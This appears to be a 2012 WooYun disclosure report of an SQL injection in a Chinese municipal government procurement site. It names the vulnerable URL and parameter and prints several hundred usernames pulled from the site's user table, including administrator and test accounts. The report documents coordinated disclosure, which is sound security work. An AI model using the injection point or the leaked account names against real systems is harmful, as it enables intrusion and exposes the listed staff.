当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-010582

漏洞标题:牡丹江市政府采购网高危SQL注射漏洞(可直接导致服务器沦陷、重要敏感信息泄漏)

相关厂商:牡丹江市政府采购网

漏洞作者: 小蝎

提交时间:2012-08-08 11:05

修复时间:2012-09-22 11:06

公开时间:2012-09-22 11:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-08: 细节已通知厂商并且等待厂商处理中
2012-08-12: 厂商已经确认,细节仅向厂商公开
2012-08-22: 细节向核心白帽子及相关领域专家公开
2012-09-01: 细节向普通白帽子公开
2012-09-11: 细节向实习白帽子公开
2012-09-22: 细节向公众公开

简要描述:

牡丹江市政府采购网高危SQL注射漏洞(可直接导致服务器沦陷、重要敏感信息泄漏)。

详细说明:

牡丹江市政府采购网高危SQL注射漏洞(可直接导致服务器沦陷、重要敏感信息泄漏)。

漏洞证明:

SQL注射点:http://www.hljcg.gov.cn/hljcg/index.jsp?id=03








Database: SYSTEM
Table: T_USERTABLE
[707 entries]
+-----------------+
| USERNAME |
+-----------------+
| qinjiang |
| fengqiuyan |
| lvxiuhong |
| qujing |
| lilijun |
| wangjiayin |
| tengxinmin |
| wanghonghai |
| guoxiulan |
| fengyi |
| duxiaohui |
| maxiaoming |
| yanglijun |
| yanyongqin |
| zhengbin |
| lihui |
| yangjun |
| liwenyan |
| donglijun |
| admin |
| hljysd |
| luyi |
| kecheng |
| dqzjm |
| guanli |
| hwwgly |
| sunlili |
| guan |
| zhangbaoxiang |
| zhouyunxia |
| quyuchen |
| system |
| dqlcx |
| dqwcx |
| 820507 |
| tanghao |
| cheny |
| xujingchun |
| zhuangpeiliang |
| hljcht |
| yangminghai |
| yangronghua |
| yangbolin |
| liufeng |
| lidong |
| lirenjun |
| liudefeng |
| zhuangyongjiu |
| xinhongyan |
| wangguifang |
| lijiafang |
| zhaozhixiang |
| panghaidong |
| chenhong |
| niechunming |
| yangsiliang |
| liudi |
| gongna |
| wangguofang |
| bailan |
| mawenyan |
| congshuwen |
| liuwensheng |
| zhengguoliang |
| lijiande |
| haguanli |
| xuqiang |
| shixusheng |
| lialei |
| xuwei |
| xuyi |
| lilei |
| lihongyan |
| xiaohongxue |
| liuzhenyou |
| admin02 |
| admin03 |
| admin06 |
| admin07 |
| admin08 |
| admin10 |
| admin11 |
| admin13 |
| ceshi0201 |
| ceshi0301 |
| ceshi0302 |
| ceshi0402 |
| ceshi0601 |
| ceshi0602 |
| ceshi0701 |
| ceshi0802 |
| ceshi0901 |
| ceshi0902 |
| ceshi1001 |
| ceshi1102 |
| ceshi1002 |
| ceshi1101 |
| ceshi1201 |
| ceshi1202 |
| ceshi1301 |
| ceshi1302 |
| jiangyu |
| admin05 |
| liangjiaxiang |
| caolu |
| duwei |
| cuishuping |
| xujin |
| genghongtao |
| songxiuzhong |
| qthliudi |
| mengfanwu |
| yuren |
| yangping |
| huangzeping |
| zhuyanhong |
| chenxiuquan |
| zhangzhiqiao |
| muzhuren |
| mukeyuan |
| mjzr |
| mjky |
| mxzr |
| mxky |
| yangshujun |
| zhaoguosheng |
| ceshi001 |
| wanghaoyu |
| liyongxi |
| lichunhui |
| zhangdingzhou |
| wuyongqiang |
| fengwei |
| tangyanlin |
| zhaoguofeng |
| duyuming |
| zhaoanren |
| dengyucai |
| mengxiangan |
| yangtao |
| songlixiang |
| qiaojinlong |
| jiyongmei |
| sunmaogang |
| dongshuang |
| daicunhai |
| jianglixin |
| dqwangguofang |
| wangwei |
| maochangsong |
| guihongmei |
| ceshi03 |
| ceshi0704 |
| baichangrui |
| yueying |
| zhaozhuo |
| zhangzhenyu |
| zhaoyan |
| lujunfeng |
| zhuhaibo |
| sunwenfei |
| wangyonglin |
| yangshuo |
| wangxingang |
| panzhe |
| wangyanling |
| lihengjun |
| zhangweiping |
| cuiying |
| guyanchao |
| huangchengxiang |
| jiangzhenqi |
| gaomingxing |
| wangyutang |
| songyushan |
| wangzhimin |
| wangxiuhua |
| lihongli |
| wangming |
| wangzhen |
| liudan |
| yujinlong |
| liyanxiu |
| jiangyifeng |
| tuoyajun |
| zujian |
| keyuan |
| zhuren |
| admin04 |
| admin09 |
| admin12 |
| ceshi0202 |
| ceshi0401 |
| ceshi0702 |
| ceshi0801 |
| wangjunyan |
| liudezhi |
| bujunhua |
| guozhongqiu |
| wangeryan |
| xujiayin |
| huxiangdong |
| zhangbing |
| zhujialiang |
| wenhua |
| jinchangwei |
| test |
| hljszbj |
| hljsgl |
| hljsmk |
| hljsnk |
| hljsth |
| jxszbj |
| hljszbjh |
| hljsnkh |
| hljsglh |
| hljsmkh |
| hljsthh |
| hljsyxgt |
| sunjinghui |
| jinzhe |
| zxjsgch |
| fengbo |
| guanhongbiao |
| lidianming |
| tengxinyong |
| litingzhong |
| yangzhonghai |
| yangxiaodong |
| zhoujihua |
| lengkui |
| yuanxin |
| zxjsgc |
| wangyanping |
| muguihua |
| sunshaofeng |
| yaoxianglin |
| liunan |
| zengfei |
| tangxuemei |
| yueyunfang |
| tongxiaopeng |
| weifang |
| liulimin |
| wanglijuan |
| zhangzaiying |
| tianxiaofeng |
| zhangping |
| yangwei |
| aiguo |
| lisong |
| jinjingfang |
| mdjchenhong |
| jinshuqin |
| wangjing |
| ouzhidong |
| liuyu |
| dqgy |
| dqqj |
| dqbs |
| dqcx |
| dqdx |
| dqjhd |
| dqgr |
| dqfz |
| hljrxh |
| zlgjh |
| hljsyxgth |
| gxzbh |
| gdwzh |
| shxsh |
| hljcrh |
| hsjsgch |
| hljzrh |
| hljssth |
| ykjsgch |
| hljhch |
| hljyzh |
| gaoling |
| hljcr |
| loujunling |
| zhangjinlong |
| jingqingshan |
| hljzzzb |
| alcx |
| liutianyun |
| chenxiaoli |
| hljrxztb |
| zlgjzb |
| ytbxjj |
| gxzbgs |
| hljgxjs |
| hrbsgzzb |
| hrbjpzb |
| hljzsjs |
| gdwzzb |
| shxszb |
| hljqlcx |
| hljyzzb |
| hljzrzb |
| hljhszb |
| hljstzb |
| hljhczb |
| hljykzb |
| sundezhi |
| renyan |
| nayanhui |
| wuhaiping |
| dulin |
| wangxiaosu |
| huzifeng |
| chenpeigang |
| lixijun |
| wangkaifeng |
| liyanshi |
| liupeiyu |
| shanglicheng |
| bianjingfeng |
| zhaoqian |
| wangxigang |
| hljsxsjgc |
| hljslzb |
| hrbdyjsgc |
| hrbzfgczb |
| hrbdhkytz |
| zhangxiangbin |
| hrbdhkyh |
| guomengyue |
| zhangxiaojia |
| guoqingwei |
| yangbailin |
| baoyajun |
| wangchang |
| zhaohao |
| yuzhong |
| hljsxsjh |
| hrbjpxmh |
| hljsdyzb |
| peianbao |
| tanglili |
| liwenzhu |
| zhangzhuren |
| sijingli |
| zhangyongping |
| liuhui |
| lixinmeng |
| h101001 |
| yxk |
| dengdajun |
| shenjichaxun |
| luchao |
| gaofaxiang |
| zhengyanli |
| shenchangzhu |
| hzgbmgly |
| h105001 |
| h106001 |
| h102001 |
| h104001 |
| h107001 |
| h108001 |
| h109001 |
| h110001 |
| h111001 |
| h201001 |
| h202001 |
| h203001 |
| h301001 |
| h302001 |
| h303001 |
| h304001 |
| h305001 |
| h306001 |
| h401001 |
| h402001 |
| h403001 |
| h404001 |
| h405001 |
| h406001 |
| h407001 |
| h408001 |
| h409001 |
| h410001 |
| h411001 |
| h412001 |
| h413001 |
| h414001 |
| h415001 |
| h416001 |
| h417001 |
| h418001 |
| h419001 |
| h601001 |
| h421001 |
| h423001 |
| h424001 |
| h425001 |
| h426001 |
| h427001 |
| h428001 |
| h429001 |
| h430001 |
| h431001 |
| h432001 |
| h433001 |
| h434001 |
| h435001 |
| h436001 |
| h437001 |
| h438001 |
| h501001 |
| h502001 |
| h503001 |
| h504001 |
| h505001 |
| h506001 |
| h507001 |
| h420001 |
| h602001 |
| h603001 |
| h604001 |
| h605001 |
| h606001 |
| h607001 |
| h608001 |
| h609001 |
| h610001 |
| h611001 |
| h612001 |
| h613001 |
| h614001 |
| h615001 |
| h616001 |
| h617001 |
| h618001 |
| h619001 |
| h620001 |
| h621001 |
| h623001 |
| h701001 |
| h703001 |
| h704001 |
| h705001 |
| h706001 |
| h707001 |
| h708001 |
| h802001 |
| h803001 |
| h804001 |
| h805001 |
| h944001 |
| h945001 |
| h946001 |
| h947001 |
| h953001 |
| h954001 |
| h955001 |
| h958001 |
| h251001 |
| h103001 |
| h622001 |
| h801001 |
| h949001 |
| h959001 |
| h991001 |
| hjkw |
| hxzzf |
| hzh |
| hny |
| hjjjs |
| hqy |
| hcsjs |
| hjrmy |
| hsb |
| hcgb |
| hywcgly |
| jiangruihang |
| zhangling |
| hsbcfjd |
| hsbclqy |
| hsbcxxz |
| hsbcsgl |
| hsbcwxz |
| hsbcwjp |
| hsbccfy |
| hsbclxy |
| hsbcxl |
| hsbcws |
| hnycshg |
| hnycwyz |
| hnycyh |
| hnycmdp |
| hnycwxh |
| hnyclsl |
| hnycjlb |
| hnycycx |
| hnycydh |
| hnycsxw |
| hcjczzw |
| hcjcllg |
| hcjclgf |
| hcjcydh |
| hcjcdsb |
| hcjcybo |
| hsbcwwangsu |
| hzfclqm |
| hzfccy |
| hzfczlp |
| hzfczyl |
| hzfcch |
| hzfcldq |
| hzfcwy |
| hzfcsyh |
| hzfcjzx |
| hzfcwb |
| hjkwlh |
| hjkwzyj |
| hjkwjdc |
| hjkwjr |
| hjkwwyq |
| hjkwllb |
| hjkwty |
| hjkwyhx |
| hjkwzj |
| hjkwwly |
| hqyctdb |
| hqycxxg |
| hqycwlb |
| hqycmfd |
| hqycgwt |
| hqyclmx |
| hqyclsw |
| hqycsy |
| hqyccm |
| hqycfl |
| hqycyzm |
| hqyczjd |
| hqycfyk |
| xuyan |
| mulin |
| zjgjztbgs |
| hjjccst |
| hjjcwhm |
| hjjcsly |
| hjjcwhj |
| hjjcwmg |
| hjjcsm |
| hjjcgq |
| hzhczyf |
| hzhcbsh |
| hzhclm |
| hzhcxxe |
| hzhczw |
| hzhcjh |
| hzhczbf |
| hysclmy |
| hysczxf |
| hysclhy |
| hjmchm |
| hjmcmxy |
| hjmcyxc |
| hjmcly |
| linliqun |
| shangyanjiang |
| hrbtzjs |
| zzgczbgs |
| hljtczb |
| hrbctzb |
| hljzzh |
| hrbcyztbgs |
| qqhrrc |
| hljstjs |
| hljsjlgc |
| hljscdztb |
| hljsxczb |
| qqhrsht |
| hljgfzb |
| hgxzb |
| zhangzhilin |
| h704005 |
| hljxw |
| hrbjl |
| hljzzzbyx |
| hrbcyh |
| h702001 |
| h422001 |
| h114001 |
| h112001 |
| hljjm |
| hljjf |
| hljrc |
| qqhexhlx |
| qqhejy |
| jlsjs |
| h799001 |
| h798001 |
| h797001 |
| h796001 |
| h795001 |
| h794001 |
| h490001 |
| h491001 |
| h492001 |
| h493001 |
| h495001 |
| h496001 |
| h497001 |
| h113001 |
| h399001 |
| lishuhong |
| chenzhe |
| hdxmcgyj |
| hdxmclyh |
| hdxmcjxj |
| hdxmcxj |
| hdxmcll |
| hdxmcllq |
| hdxmcqgy |
| hdxmcxjm |
| hdxmczj |
| hdxmcwk |
| h291001 |
| hzhcwyf |
| wangerqiang |
| h292001 |
| h899001 |
| wangyongwen |
| cuigang |
| wangminggang |
| hsbchjd |
| hsbclm |
| zhangning |
| h408004 |
| yuping |
| h626001 |
| hljxl |
| mdjzl |
| lvda |
| hysczbn |
| h901001 |
| h449001 |
| h701099 |
| hcjcxtq |
| hcjclyj |
| hjmcwht |
| h441001 |
| hjmcxza |
| hyscsyb |
| hzhcwzz |
| h899002 |
| h440001 |
| hxzzftbj |
| wangyuhong |
| zhaoliang |
| hcjcdl |
| h708308 |
| caofengying |
| cuiyi |
| liuyujun |
| wangyanzhi |
| hsbcjsz |
| hzhcyyl |
| hzhcmzs |
| hcjcgw |
| hjjclyc |
| mdjszlgc |
| hljnkhc |
| hljjygc |
| hljsjrgc |
| hljjfgc |
| hljwszb |
| mdjhdgc |
| lishuang |
| liuzijiu |
| lishengbin |
| shangxin |
| wangliyang |
| xuyanji |
| liuhuis |
| xiaonan |
| hjmcjf |
| hjmcwyq |
| sjct |
| hzfclxd |
| hrbbfzc |
| liyingjiu |
| h800001 |
| chetao |
| hljxwzbdlh |
| hqycxdd |
| qiyanyan |
| zhuli |
| bianlei |
| lvyahui |
| sunweiwei |
| liyanliang |
| hdxmclqk |
| hdxmcydh |
| hszczjj |
| hszclhy |
| hszczmy |
| h439001 |
| qdjtgczb |
| huangyupei |
| h991003 |
| 991004 |
| wangyagang |
+-----------------+


修复方案:

亲,你懂的修补漏洞。

版权声明:转载请注明来源 小蝎@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2012-08-12 22:40

厂商回复:

CNVD确认并复现所述情况,转由CNCERT黑龙江分中心协调涉事单位处置。
按完全影响机密性,部分影响完整性进行评分,rank=8.47*1.0*1.3=11.011

最新状态:

暂无


漏洞评价:

评论